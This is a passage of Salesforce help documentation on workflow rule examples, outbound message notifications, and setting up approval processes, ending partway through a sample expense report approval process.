Click Show Actions in the Approval Steps section, then click Add Existing in the Approval, Rejection, or Recall
Actions section.

See Selecting Approval Actions on page 1854.


Select the type of action you want to associate with the approval process. The Available Actions box lists all existing actions
of the selected type.
Enter the name of a specific action in the text field and click Find.
Select the actions in the Available Actions box that you want to associate with the approval process, and use the right
arrow to move the actions to the Selected Actions box. If necessary, select the left arrow to remove actions from the
Available Actions box.
Click Save.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Managing Workflow Actions

Examples of Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create or change workflow rules, email alerts, tasks, field
updates, and outbound messages:

Customize Application

Use the following workflow rule examples to learn how you can implement common business objectives.
Business Processes
Follow Up when a Platinum Contract Case Closes
New Customer Credit Check
Platinum Account Owner Visibility on High Priority Cases
Updating Shipment Status if Shipment Is Delayed
Cross-Object Processes
Cases Filed for Top Accounts
Setting Default Opportunity Name
Setting the Target Resolution Date for Cases
Updating Application Record When Candidate Accepts Job

1809

Create

Managing Outbound Messages

Deal Management
Tracking Closed Opportunities
Default Opportunity Close Date
Reporting Lost Opportunities
Unassigned Lead Management
Notifications
Change of Account Owner
Contact Birthday Reminder
High Value Opportunity
Notify Account Owners of Updates by Others

See Also:
Workflow and Approvals Overview
Managing Workflow Actions
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates

Business Processes
Follow Up when a Platinum Contract Case Closes
This example assumes there is a Contract Type custom picklist used to identify the contract level on cases, and that the
picklist contains the value Platinum.
Object

Case

Description

Send a feedback request in email to the case contact seven days after a high priority case is closed
if the customer has a platinum contract agreement.

Evaluation Criteria

When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


(Case: Priority equals High) and
(Case: Closed equals True) and
(Case: Contract Type equals Platinum)

Immediate Actions

None

Time-Dependent
Actions

7 Days After Case: Date/Time ClosedEmail Alert: Send a feedback request to the case
contact.

1810

Create

Managing Outbound Messages

New Customer Credit Check


This example assumes there is a New Customer custom field on opportunities.
Object

Opportunity

Description

Assign the Accounts Receivable (AR) department a task to check the credit of a potential customer
15 days before the opportunity close date if the amount is greater than $50,000.

Evaluation Criteria

When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


(Opportunity: Amount greater than 50000) and
(Opportunity: Closed equals False) and
(Opportunity: New Customer equals True)

Immediate Actions

None

Time-Dependent
Actions

15 Days Before Opportunity: Close DateTask: Create a task for users in the Accounts
Receivable role to run a credit check.

Platinum Account Owner Visibility on High Priority Cases


This example assumes there is a Service Level Agreement custom picklist called SLA that identifies the agreement level on
accounts and contains the value Platinum.
Object

Case

Description

Notify the account owner when a high priority case is created for accounts with a platinum service
level agreement.

Evaluation Criteria

Only when a record is created.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


(Case: Priority equals High) and
(Account: SLA equals Platinum)

Immediate Actions

Email Alert: Email the details of the high priority case to the account owner.

Time-Dependent
Actions

None.

Updating Shipment Status if Shipment Is Delayed


Object

Shipment

Description

Update the Shipment Status field to Delayed if a shipment has exceeded the expected delivery
date and not reached the customer.

Evaluation Criteria

When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


(Shipment: Status not equal to Delivered)

1811

Create

Managing Outbound Messages

Immediate Actions

None.

Time-Dependent
Actions

1 day after Shipment: Expected Delivery DateField Update: Change Shipment Status field
to Delayed on Shipment record.

Cross-Object Processes
Cases Filed for Top Accounts
Use the following workflow rule if your sales VP wants to know about any cases filed for top accounts, where top accounts are
determined by size and revenue.
Object

Case

Description

Notify Sales VP about any cases filed for top accounts.

Evaluation Criteria

Only when a record is created.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


AND(Account.AnnualRevenue > 500000, Account.NumberOfEmployees > 5000)

Immediate Actions

Email Alert: Notify VP about cases for big accounts.

Time-Dependent
Actions

None.

Setting Default Opportunity Name


The opportunity naming convention for some companies is Account Name: Opportunity Name. To automate the default
name of each opportunity in your organization, create the workflow rule below.
Object

Opportunity

Description

Enforce opportunity naming convention.

Evaluation Criteria

Every time a record is created or edited.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


NOT(CONTAINS( Name, Account.Name ))

Immediate Actions

Field Update: Set opportunity name to the following formula:


Account.Name & ": " & Name

Time-Dependent
Actions

None.

1812

Create

Managing Outbound Messages

Setting the Target Resolution Date for Cases


This example illustrates how to automatically set a case resolution date based on the value of a field on the associated account.
It uses a custom picklist field on accounts called Support Level, which has three values, Basic, Standard, and Premium,
as well as a custom date field on cases called Target Resolution Date.
Use the following three workflow rule examples to automatically set the target resolution date of a case based on the support
level for the related account.
Set Resolution Date for Basic Support
Object

Case

Description

Sets the case target resolution date for accounts that have basic support level to 30 days from
today.

Evaluation Criteria

Only when a record is created.

Rule Criteria (Filter)

Run this rule if the following formula evaluates to true:


ISPICKVAL(Account.Support_Level__c , "Basic")

Immediate Actions

Field Update: Set the Target Resolution Date to Today() + 30

Time-Dependent
Actions

None.

Set Resolution Date for Standard Support


Object

Case

Description

Sets the case target resolution date for accounts that have standard support level to 14 days from
today.

Evaluation Criteria

Only when a record is created.

Rule Criteria (Filter)

Run this rule if the following formula evaluates to true:


ISPICKVAL(Account.Support_Level__c , "Standard")

Immediate Actions

Field Update: Set the Target Resolution Date to Today() + 14

Time-Dependent
Actions

None.

Set Resolution Date for Premium Support


Object

Case

Description

Sets the case target resolution date for accounts that have premium support level to 5 days from
today.

Evaluation Criteria

Only when a record is created.

1813

Create

Managing Outbound Messages

Rule Criteria (Filter)

Run this rule if the following formula evaluates to true:


ISPICKVAL(Account.Support_Level__c , "Premium")

Immediate Actions

Field Update: Set the Target Resolution Date to Today() + 5

Time-Dependent
Actions

None.

Updating Application Record When Candidate Accepts Job


Use the following workflow rule if you want to close the Application record when a Candidate accepts a job. Cross-object
field updates to the master record are supported between custom objects in a master-detail relationship.
Object

Candidate

Description

Changes the Application Status to Closed for the custom Application object when the Candidate
Status for the custom Candidate object changes to Accepted.

Evaluation Criteria

When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


(Candidate: Status equals Accepted)

Immediate Actions

Field Update: Change Application Status field to Closed on parent Application record.

Time-Dependent
Actions

None.

Deal Management
Tracking Closed Opportunities
This example assumes there is a Closed Opportunities record type that provides additional information to certain profiles.
Note: For information on record types, see Managing Record Types on page 1268.

Object

Opportunity

Description

Change the record type of closed-won opportunities.

Evaluation Criteria

Every time a record is created or edited.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


(Opportunity: Closed equals True) and
(Opportunity: Stage equals Closed Won)

1814

Create

Managing Outbound Messages

Immediate Actions

Field Update: Set the record type to Closed Opportunities.

Time-Dependent
Actions

None.

Default Opportunity Close Date


Object

Opportunity

Description

Override the default close date from the close of the quarter to six months after the opportunity
is created.

Evaluation Criteria

Only when a record is created.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


(Opportunity: Closed equals False)

Immediate Actions

Field Update: Use the following formula to set the opportunity close date to six months after

the creation date:


DATE( YEAR(TODAY()) , (MONTH(TODAY()) + 6), DAY(TODAY()))

Time-Dependent
Actions

None.

Reporting Lost Opportunities


Object

Opportunity

Description

Notify the VP of Sales when a deal is lost if the stage was Proposal/Price Quote and the amount
was greater than $1,000,000.

Evaluation Criteria

Every time a record is created or edited.

Rule Criteria (Filter)

Run this rule if the following formula evaluates to true:


AND( ISCHANGED(StageName), ISPICKVAL(PRIORVALUE(StageName) ,
"Proposal/Price Quote"), ISPICKVAL(StageName,"Closed Lost"), (Amount
>1000000))

Immediate Actions

Email Alert: Notify the VP of Sales role that the deal was lost.

Time-Dependent
Actions

None.

Unassigned Lead Management


This example assumes that all unassigned leads are placed in an unassigned leads queue by a leads assignment rule.
Object

Lead

1815

Create

Managing Outbound Messages

Description

Ensure that unassigned leads are tracked in a timely manner by notifying the manager if a lead
is not accepted in two days.

Evaluation Criteria

When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


Lead Owner equals Unassigned Lead Queue

Immediate Actions

None.

Time-Dependent
Actions

2 Days After Lead: Last Modified DateEmail Alert: Notify the manager role that there
are unassigned leads in the queue that are older than two days.

Send Alert if Quote Line Item Discount Exceeds 40%


Object

Quote Line Item

Description

Ensure that an email alert is sent if a sales rep applies a quote line item discount that exceeds
40%.

Evaluation Criteria

When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


Quote Line Item: Discount is greater than 40

Immediate Actions

Email Alert: Notify the manager role that the quote line item discount exceeds 40%.

Time-Dependent
Actions

None.

Notifications
Change of Account Owner
Object

Account

Description

Notify key people in the sales department when the owner of an account changes if the account's
annual revenue is greater than $1,000,000.

Evaluation Criteria

Every time a record is created or edited.

Rule Criteria (Filter)

Run this rule if the following formula evaluates to true:


AND( ISCHANGED(OwnerId), AnnualRevenue > 1000000 )

Immediate Actions

Email Alert: Notify the person in the sales operations role of the change in account ownership.

Time-Dependent
Actions

None.

1816

Create

Managing Outbound Messages

Contact Birthday Reminder


This example assumes there is a Next Birthday custom formula field that uses the following formula to calculate the date
of the contact's next birthday on contact records:
IF(MONTH(Birthdate) > MONTH(TODAY()),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
IF(MONTH(Birthdate) < MONTH(TODAY()),DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)),
IF(DAY(Birthdate) >= (DAY(TODAY())),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)))))

Object

Contact

Description

Send an email to the contact two days before the contact's birthday.

Evaluation Criteria

Only when a record is created.

Rule Criteria (Filter)

Run this rule if the following formula evaluates to true:


(Contact: Birthdate not equal to null) and
(Contact: Email not equal to null)

Immediate Actions

None.

Time-Dependent
Actions

2 Days Before Contact: Next BirthdayEmail Alert: Send a birthday greeting to the contact's
email address.

High Value Opportunity


Object

Opportunity

Description

Remind the opportunity owner and senior management when the close date is approaching for
a large deal, an opportunity that has an amount greater than $10,000. Also, create a follow-up
task for the opportunity owner if the deal is still open when the close date passes.

Evaluation Criteria

When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)

Run this rule if the following criteria are met:


(Opportunity: Amount greater than 100000) and
(Opportunity: Closed equals False)

Immediate Actions

None.

Time-Dependent
Actions

30 Days Before Opportunity: Close DateEmail Alert: Notify the opportunity owner
that 30 days remain.
15 Days Before Opportunity: Close DateEmail Alert: Notify the opportunity owner
that 15 days remain.
5 Days After Opportunity: Close DateTask: Create a follow-up task for the opportunity
owner to update the deal. Email Alert: Notify senior management to involve executives.

Notify Account Owners of Updates by Others


Object

Account

1817

Create

Outbound Message Notifications

Description

Notify the account owner when someone else updates the account if the account's annual revenue
is greater than $1,000,000.

Evaluation Criteria

Every time a record is created or edited.

Rule Criteria (Filter)

Run this rule if the following formula evaluates to true:


AND( (LastModifiedById <> CreatedById), (AnnualRevenue > 1000000) )

Immediate Actions

Email Alert: Notify the account owner that someone else has updated the account.

Time-Dependent
Actions

None.

Outbound Message Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals are not available in Database.com

User Permissions Needed


To view or edit outbound message notification settings:

Customize Application

You can request that up to five users receive a notification listing all outbound messages that have failed for at least 24 hours.
A fresh notification is sent every 24 hours until you cancel the request.
Failed messages are deleted from the failed outbound messages related list after seven days. Before they are removed, you can
delete them yourself or request that they be retried again.
To view the current outbound message notification requests, click Your Name > Setup > Monitoring > Outbound Message
Notifications.
You can perform several tasks here:

Edit a notification.
Delete a notification. Since you can only create five, you may need to delete one before you can create more.
Create a new notification request.
Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com
to enable outbound messages.

1818

Create

Outbound Message Notifications

Creating and Editing Outbound Message Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals are not available in Database.com

User Permissions Needed


To view or edit outbound message notification settings:

Modify All Data

You can request that up to five users receive a notification listing all outbound messages that have failed for at least 24 hours.
A fresh notification is sent every 24 hours until you cancel the request.
To create a notification request:
1.
2.
3.
4.

Click Your Name > Setup > Monitoring > Outbound Message Notifications.
Click New.
Enter a full username, or click the icon to select it from a list of usernames.
Click Save to save the request, or Save & New to save this request and create a new one.
Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com
to enable outbound messages.

Viewing Outbound Message Notification Requests


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view or edit outbound message notification settings:

Modify All Data

You can request that up to five users receive a notification listing all outbound messages that have failed for at least 24 hours.
A fresh notification is sent every 24 hours until you cancel the request.
This page is displayed when you have saved a new notification request. You can:

Click Edit to change the username for a notification request. This is simpler than deleting the request and then creating
a new one.
Click Delete to delete the notification request.
Click Clone to create a new notification request with the same username.

1819

Create

Workflow Terminology

Workflow Terminology
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals, Tasks, and Email Alerts are not available in Database.com

Workflow Rule
A workflow rule sets workflow actions into motion when its designated conditions are met. You can configure workflow
actions to execute immediately when a record meets the conditions in your workflow rule, or set time triggers that execute
the workflow actions on a specific day. If a workflow action hasnt executed yet, you can view and modify it in the
Workflow Queue. See Managing Workflow Rules to get started using workflow rules. For a list of the maximum number
of rules allowed in each organization, see Salesforce Editions and Limits.
Workflow Action
A workflow action is an email alert, field update, outbound message, or task that fires when the conditions of a workflow
rule are met.
Email Alert
Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval
process and sent to designated recipients, either Salesforce users or others. Workflow alerts can be sent to any user or
contact, as long as they have a valid email address. To get started using email alerts, see Managing Email Alerts.
Field Update
Field updates are workflow and approval actions that specify the field you want updated and the new value for it.
Depending on the type of field, you can choose to apply a specific value, make the value blank, or calculate a value based
on a formula you create. To get started using field updates, see Managing Field Updates.
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task.
Tasks are workflow and approval actions that are triggered by workflow rules or approval processes. To get started using
tasks, see Managing Tasks for Workflow and Approvals.
Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint
you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a
SOAP message to the endpoint. To get started using outbound messages, see Managing Outbound Messages.
Flow
A flow starts out as a process or decision diagram created in the Flow Designer. Once uploaded and run in Salesforce,
it becomes an application for navigating users through a series of screens. To get started using flows, see About Visual
Workflow on page 1878.

1820

Create

Approval Processes Overview

Approval Processes Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use approvals:

Various user permissions required depending on the action

Your business runs more efficiently with automated processes. For example, you may already have workflow rules that
automatically send email alerts or assign tasks based on your internal processes. Approvals take automation one step further,
allowing you to specify a sequence of steps that are required to approve a record.
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
For example, your organization may have a two-step process for approving expenses: submitted expenses that are less than
$50 are automatically approved, those over $50 must be approved by a manager, and those over $5,000 must also be approved
by a Vice President. In this example, your approval process would specify the following:

If an expense record is submitted for approval, lock the record so that users cannot edit it and change the status to
Submitted.
If the amount is $50 or less, automatically approve the request.
If the amount is greater than $50, send an approval request to the direct manager.
If the amount is greater than $5,000 and the first approval request is approved, send an approval request to the Vice
President.
If all approval requests are approved, change the status to Approved and unlock the record.
If any approval requests are rejected, change the status to Rejected and unlock the record.

An approval process includes the following elements:

A name and description to distinguish it from other approval processes


Entry criteria if you only want records with certain attributes to be included
A designated user who can approve requests
Settings to specify who, if anyone, can change a record once it has been submitted for approval
Any number of steps that determine the sequence of actions to take when a record matches the criteria. Each step can have
up to 40 actions, 10 of each type: email alerts, field updates, tasks, and outbound messages.
Up to 40 additional actions that occur when a record is initially submitted
Up to 40 additional actions that occur when a record is approved
Up to 40 additional actions that occur when a record is rejected
Up to 40 additional actions that occur when a record is recalled

1821

Create

Approval Processes Overview

To begin designing your approval processes, see Getting Started with Approval Processes on page 1824.

See Also:
Creating Approval Processes
Approval Process Terminology
Examples of Approval Processes

Approval Process Terminology


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use approvals:

Various user permissions required depending on the action

The following terminology is used for approval processes in Salesforce:


Approval Actions
An approval action is an action that occurs as a result of an approval process. There are four types of approval actions:
Type

Description

Task

Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.

Email Alert

Uses an email template you specify to send an email to a designated recipient.

Field Update

Changes the value of a selected field. You can specify a value or create a formula for the
new value.

Outbound Message

Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.

Approval steps, initial submission, final approvals, final rejections, and recalls can execute approval actions. Both approval
process and workflow rules share actions.
Approval Process
An approval process is an automated process your organization can use to approve records in Salesforce. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply
to all records included in the process, or just records that have certain attributes. An approval process also specifies the
actions to take when a record is approved, rejected, recalled, or first submitted for approval. For more information, see
Approval Processes Overview on page 1821.

1822

Create

Approval Processes Overview

Approval Request
An approval request is an email or a Chatter post notifying the recipient that a record was submitted for approval and
that his or her approval is requested.
Approval Steps
Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval
step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process
also allow you to specify what happens if an approver rejects the request.
Assigned Approver
The assigned approver is the user responsible for approving an approval request.
Delegated Approver
A delegated approver is a user appointed by an assigned approver as an alternate for approval requests. Delegated approvers
can't reassign approval requests; they can only approve or reject approval requests.
Email Approval Response
The email approval response feature gives users the ability to approve or reject email approval requests by replying to the
email. Approvers must have the API Enabled system permission to approve or reject approval requests via email.
The first line of the email body may contain one of the following words:

approve
approved
yes
reject
rejected
no

Periods and exclamation marks are also accepted at the end of the word. You can also optionally add comments in the
second line of the email body. Users can still click a link in the email to access the approval page as well. This feature is
especially useful for organizations with users who receive approval requests on mobile devices.
To enable email approval response, see Customizing Workflow and Approval Settings on page 1788.
Note: Before enabling email approval response, note that you cannot use this feature with approval processes
in which the assigned approver is a queue, or in a multi-step approval process in which the next approver is
manually chosen after the first step. Also, users that use Microsoft Word as their email editor must add the
comments to the end of the first line of the reply email instead of the second.
Initial Submission Actions
Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action
to lock the record runs automatically on initial submission. Initial submission actions can include any approval actions
such as email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a
custom approval status field to In Progress.

1823

Create

Getting Started with Approval Processes

Final Approval Actions


Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval
actions can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can
change the status to Approved and send an email notification.
Final Rejection Actions
Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection
state. Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final
rejection action can change the status to Rejected, send an email notification, and unlock the record so that users can
edit it before resubmitting.
Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint
you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a
SOAP message to the endpoint.
Recall Actions
Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock
the record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages.
For example, a recall action can change the status of a request from In Progress to Not Submitted.
Record Locking
Record locking is the process of preventing users from editing a record, regardless of field-level security or sharing
settings. Salesforce automatically locks records that are pending approval. Users must have the Modify All object-level
permission for the given object, or the Modify All Data permission, to edit locked records. The Initial Submission
Actions, Final Approval Actions, Final Rejection Actions, and Recall Actions related lists contain Record Lock actions
by default. You cannot edit this default action for initial submission and recall actions. You can still add campaign
members to campaigns locked for approval.

See Also:
Approval Processes Overview
Getting Started with Approval Processes
Approval Process Checklist

Getting Started with Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes:

Customize Application

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records

1824

Create

Getting Started with Approval Processes

included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
Before you begin creating an approval process:

Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use.
Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve
or reject email approval requests by replying to the email. Approvers must have the API Enabled system permission to
approve or reject approval requests via email. See Customizing Workflow and Approval Settings on page 1788.

To automate your organization's processes:


1.
2.
3.
4.
5.
6.
7.

Create an approval process.


Add steps to your approval process.
Specify initial submission actions.
Specify final approval actions.
Specify final rejection actions.
Specify recall actions.
If this is the first approval process you are creating:

Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit
approval requests and track a record's progress through an approval process from the record detail page. See Customizing
Page Layouts on page 1278.
Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of
the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home
Tab Page Layouts on page 1301.
Populate all custom hierarchy fields with the appropriate values.

8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria,
and actions that comprise your approval process.
Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities
Reports folder. See Administrative Reports on page 3021 and Activity Reports on page 3019.

See Also:
Approval Process Terminology
Approval Process Considerations
Managing Approval Processes
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
Examples of Approval Processes
Process Visualizer Overview

1825

Create

Getting Started with Approval Processes

Approval Process Checklist


Available in: Enterprise, Unlimited, and Developer Editions

Plan each approval process carefully to ensure a successful implementation. Review the following checklist about preparing
the appropriate information before creating your approval process.

Prepare an approval request email template.


Prepare an approval request post template.
Determine the approval request sender.
Determine the assigned approver.
Determine the delegated approver.
Decide if your approval process needs a filter.
Design initial submission actions.
Decide if users can approve requests from a wireless device.
Determine if users can edit records that are awaiting approval.
Decide if records should be auto-approved or rejected.
Determine how many levels your process has.
Determine the actions when an approval request is approved or rejected.

What email template do you want to use for approval requests?


The email template you specify on an approval process is used when notifying users that an approval request is assigned
to them. You can use the default email template Salesforce offers if it is appropriate for your approval process, or you
can create your own email template. Include the appropriate approval process merge fields to link directly to the approval
request. For details about using merge fields, see Merge Fields Overview on page 460.
If your organization has enabled email approval response, the default email template includes instructions for replying
to an email approval request by typing approve, approved, yes, reject, rejected, or no in the first line of the
email body, and optionally adding comments in the second line. For details on email approval response and the default
template, see Customizing Workflow and Approval Settings on page 1788.
What Chatter post template do you want to use for approval requests?
If your organization has Approvals in Chatter enabled, you can specify an approval post template to use when notifying
users via Chatter that an approval request is assigned to them. You can use the default post template Salesforce offers if
it is appropriate for your approval process, or you can create your own post template. See About Approvals in Chatter
on page 1856.
Who should be the sender of approval requests?
Approval request notifications are automatically sent from the user who submitted the record for approval. When you
configure an email alert, you can set it to use a different return email address for these notifications. You can choose the
email address of the default workflow user if you've created one, or a previously configured and verified organization-wide
address. Determine what email address to use.
Who can approve requests?
Requests can be approved or rejected by any of the following:

1826

Create

Getting Started with Approval Processes

A user or queue that the approval request submitter chooses.


A queue specified by the administrator.
A user listed in the Manager standard field on the submitter's user detail page.
A user listed in a custom hierarchy field on the submitter's user detail page.
Any combination of users and related users (users listed in a standard or custom field on the submitted record)
specified by the administrator.

Each step in your approval process can assign approval requests using any of these options.
Should approval requests be delegated to another user for approval?
An approval request can be approved by an approver's designated delegate. However, you can disable this option. Decide
if you want to allow delegated users to approve requests. Then, for each user, populate the Delegated Approver field
on the user's detail page.
What records should be included in this process?
Determine what attributes a record must have to be included in your approval process. If necessary, create the custom
fields to store this information so that you can use it in your filter criteria. For example, if you want to include expense
records from your headquarters office only, create a custom picklist field called Office Location that has two options:
HQ and Field. Then, you would specify in your filter criteria that records must have HQ in the Office Location
field to be included in the approval process.
What should happen when a record is first submitted for approval?
When users submit a record for approval, Salesforce automatically locks the record so that other users cannot change it
while it is awaiting approval. You can still add campaign members to campaigns locked for approval.
Decide if you want other workflow actions to happen when a record is first submitted, such as email alerts, tasks, field
updates, and outbound messages. These actions become your Initial Submission Actions.
Should users be able to approve requests from a mobile device?
Determine if you want to require users to log in to Salesforce to approve requests. You can also set up your approval
process to allow users to approve requests remotely using a mobile browser.
Who can edit records that are awaiting approval?
Records submitted for approval are automatically locked. Users with the Modify All object-level permission for the
given object, or the Modify All Data permission, can always unlock a record and edit it. However, you may also specify
that the currently assigned approver can edit the record as well. You can still add campaign members to campaigns locked
for approval.
Should records be automatically approved, rejected, or skipped based on certain criteria?
You can set entry criteria for each step of your process, and configure Salesforce to automatically approve, reject, or skip
the process if a record does not meet that entry criteria. For example, all expenses submitted with an Amount less than
$15 are automatically approved.
How many people need to approve these requests?
An approval process can have several layers of approvals. Determine how many users need to approve requests and in
what order.

1827

Create

Getting Started with Approval Processes

Should any actions happen when a request is approved or rejected?


You can set up to 40 additional actions to take place when a request is recalled, approved, or rejected at each step, up to
10 of each of the following types:
Type

Description

Task

Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.

Email Alert

Uses an email template you specify to send an email to a designated recipient.

Field Update

Changes the value of a selected field. You can specify a value or create a formula for the
new value.

Outbound Message

Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.

You can also set up to 40 additional actions to take place when a record has received all necessary approvals or is completely
rejected.

See Also:
Getting Started with Approval Processes
Approval Processes Overview
Examples of Approval Processes

Examples of Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes:

Customize Application

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
Use these samples of common approval processes to help you get started creating your own:

Sample Approval Process: PTO Requests


Sample Approval Process: Expense Reports
Sample Approval Process: Discounting Opportunities
Sample Approval Process: Job Candidates

1828

Create

Getting Started with Approval Processes

Note: If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter,
which lets users receive approval requests as posts in their Chatter feed. To find out more about how Chatter can
enhance your approval processes, see About Approvals in Chatter on page 1856.

Sample Approval Process: PTO Requests


Available in: Enterprise, Unlimited, and Developer Editions

Most companies require employees to file a PTO (Paid Time Off) request and have their manager approve it. In three phases,
here's how to automate a simple one-step PTO request process using Salesforce.
Prep Your Organization
Before creating the approval process:

If you do not yet have a custom object to track your PTO requests, create a custom object and tab called PTO Requests.
Add the appropriate fields for your PTO Requests such as Start Date, End Date, and Employee Name. See Defining
Custom Objects on page 1735 and Defining Custom Tabs on page 1771.
Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.

Create the Approval Process


Use the jump start wizard to create an approval process for the PTO Request custom object and specify the following:

Select the email template you created for this approval process.
Don't specify filter criteria if you want each user to submit PTO requests and have them included regardless of their
attributes.
Select the Automatically assign an approver using a standard or custom hierarchy field option,
then choose Manager.
The jump start wizard automatically chooses the record owner as the only person who can submit PTO requests.
Tip: If you want the submitter to be able to withdraw a submitted PTO request:
1. Click Edit and choose Initial Submitters.
2. Select Allow submitters to recall approval requests.
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and
administrators can see the Recall Approval Request button in the Approval History related list on the detail page of
submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending
approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on
page 1853.

Wrap Things Up
After creating the approval process, add the Approval History related list to the PTO Request object page layout. See
Customizing Page Layouts on page 1278.

1829

Create

Getting Started with Approval Processes

Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant
view of the approval requests they need to approve or reject. For instructions on adding this component to your home
page layouts, see Designing Home Tab Page Layouts on page 1301.
If available, use your sandbox to test the approval process, then activate it.

Sample Approval Process: Expense Reports


Available in: Enterprise, Unlimited, and Developer Editions

If your company requires that employees file expense reports for managers to approve, you can automate this process in
Salesforce. Use this example to create a two-step expense report approval process for all employees in your headquarters office.
It specifies that expenses less than $50 are automatically approved, those $50 and over require manager approval, and those
over $5,000 require additional approval from two VPs. This example highlights the else option, as well as the parallel approvals
feature.
Prep Your Organization
Before creating the approval process:

If you do not yet have a custom object to track your expenses, create a custom object and tab called Expense Reports. See
Defining Custom Objects on page 1735 and Defining Custom Tabs on page 1771. Add the appropriate fields such as Amount,
Description, Status, Start Date, and End Date.
Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.
Create a custom field on the user object called Office Location. Assign the HQ value to users in the headquarters
office location.

Create the Approval Process


Create an approval process using the Expense Report custom object and specify the following:

The filter criteria for this approval process is Current User: Office Location equals HQ. Records must meet
this criteria before they can be submitted to this approval process.
Choose the Manager field as the next automated approver.
Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.
Choose the record owner or any other user who you want to be able to submit expense reports.
Create two approval steps:
1. Create a step named Step 1: Manager Approval with the following specifications:
Name this step Step 1: Manager Approval.
Select Enter this step if the following and choose criteria are met. Also, choose approve record for
the else option.
